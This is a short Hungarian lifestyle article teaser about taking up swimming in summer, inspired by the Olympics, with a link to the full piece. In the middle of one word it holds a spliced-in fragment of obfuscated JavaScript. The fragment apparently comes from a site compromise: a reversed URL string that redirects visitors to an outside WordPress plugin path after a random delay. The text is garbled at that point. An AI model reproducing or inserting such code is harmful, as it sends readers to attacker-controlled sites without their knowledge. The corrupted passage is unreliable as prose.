Az olimpia időszaka kicsit olyan, mint a január: látva a sok hihetetlen sportteljesítményt, a tökéletesre dolgozott testeket, újra elhatározzuk, kicsit jobban odafigyelünk magunkra. Többet sportoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolunk, jobban eszünk. És ha nem is dédelgetünk olimpiai álmokat, a rendszeres sport, még hobbi szinten is csodákra képes. Így van ez az úszással is, már fél óra is elég, hogy a vízből kikászálódva más színben lásd a világot. Ha nehezen veszed rá magad az úszásra, a nyárnál kevés alkalmasabb időszakot találsz arra, hogy újrakezdd. Ez a sport, ahol a meleg nem lehet zavaró tényező, ha vízközelben nyaralsz, a helyzet adott, úszhatsz tengerben, tóban, strandon – a lényeg, hogy…
A cikk folytatódik: http://menandstyle.co.hu/egeszseg-fitnesz/2021/08/10/ezert-ussz.html
- Hirdetés -
